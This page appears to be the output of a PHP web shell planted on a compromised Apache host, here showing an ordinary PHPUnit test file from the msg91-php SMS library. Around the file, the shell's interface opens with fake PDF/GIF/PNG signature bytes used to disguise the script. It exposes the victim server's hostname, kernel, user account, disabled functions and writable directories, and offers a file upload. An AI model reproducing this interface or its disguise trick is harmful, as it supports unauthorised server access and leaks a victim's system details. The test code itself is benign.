%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/craftsys/msg91-php/tests/SMS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/craftsys/msg91-php/tests/SMS/OptionsTest.php
<?php

namespace Craftsys\Tests\Msg91\SMS;

use Craftsys\Msg91\SMS\Options;
use Craftsys\Tests\Msg91\TestCase;

class OptionsTest extends TestCase
{
    /**
     * Options
     * @var \Craftsys\Msg91\SMS\Options
     */
    protected $options;

    protected function setUp(): void
    {
        parent::setUp();
        $this->options = new Options();
    }

    public function test_default_receiver_key()
    {
        $this->options = $this->options->to(919999999999);
        $this->assertEquals('mobiles', $this->options->receiver_key);
        $recipients = $this->options->getPayloadForKey('recipients');
        $this->assertCount(1, $recipients);
        $recipient = $recipients[0];
        $this->assertArrayHasKey('mobiles', $recipient);
    }

    public function test_custom_receiver_key()
    {
        $this->options = $this->options->receiverKey('contact')->to(919999999999);
        $this->assertEquals('contact', $this->options->receiver_key);
        $recipients = $this->options->getPayloadForKey('recipients');
        $this->assertCount(1, $recipients);
        $recipient = $recipients[0];
        $this->assertArrayHasKey('contact', $recipient);
    }

    public function test_custom_receiver_key_after_recipients()
    {
        $this->options = $this->options->to(919999999999)->receiverKey('contact');
        $this->assertEquals('contact', $this->options->receiver_key);
        $recipients = $this->options->getPayloadForKey('recipients');
        $this->assertCount(1, $recipients);
        $recipient = $recipients[0];
        $this->assertArrayHasKey('contact', $recipient);
    }

    public function test_variable_for_single_recipient()
    {
        $this->options = $this->options->to(919999999999)->variable('name', 'Craft Sys');
        $recipients = $this->options->getPayloadForKey('recipients');
        $recipient = $recipients[0];
        $this->assertArrayHasKey('name', $recipient);
        $this->assertEquals('Craft Sys', $recipient['name']);
    }

    public function test_variable_for_multiple_recipients()
    {
        $this->options = $this->options->recipients([[
            'mobiles' => '91123123123'
        ], [
            'mobiles' => '91123123124'
        ]])->variable('name', 'Craft Sys');
        $recipients = $this->options->getPayloadForKey('recipients');
        foreach ($recipients as $recipient) {
            $this->assertArrayHasKey('name', $recipient);
            $this->assertEquals('Craft Sys', $recipient['name']);
        }
    }


    public function test_merge_will_merge_recipients()
    {
        $this->options = $this->options
            ->recipients([[
                'mobiles' => '91123123123'
            ]])->mergeWith((new Options)->recipients([[
                'mobiles' => '91123123124'
            ]]));
        $recipients = $this->options->getPayloadForKey('recipients');
        $this->assertCount(2, $recipients);
    }

    public function test_merging_with_another_options_keeps_variables()
    {
        $this->options = $this->options
            ->recipients([[
                'mobiles' => '91123123123'
            ]])
            ->variable('name', 'Craft Sys')
            ->mergeWith((new Options())
                ->recipients([
                    [
                        'mobiles' => '91123123124'
                    ]
                ])
                ->variable('short_name', 'Craft'));
        $recipients = $this->options->getPayloadForKey('recipients');
        $this->assertCount(2, $recipients);
        foreach ($recipients as $recipient) {
            $this->assertArrayHasKey('name', $recipient);
            $this->assertArrayHasKey('short_name', $recipient);
            $this->assertEquals('Craft Sys', $recipient['name']);
            $this->assertEquals('Craft', $recipient['short_name']);
        }
    }

    public function test_variable_applied_to_future_recipients()
    {
        $this->options = $this->options
            ->variable('short_name', 'Craft')
            ->recipients([[
                'mobiles' => '91123123123'
            ], [
                'mobiles' => '91123123124'
            ]])
            ->variable('name', 'Craft Sys');
        $recipients = $this->options->getPayloadForKey('recipients');
        foreach ($recipients as $recipient) {
            $this->assertArrayHasKey('name', $recipient);
            $this->assertArrayHasKey('short_name', $recipient);
            $this->assertEquals('Craft Sys', $recipient['name']);
            $this->assertEquals('Craft', $recipient['short_name']);
        }
    }
}

VaKeR 2022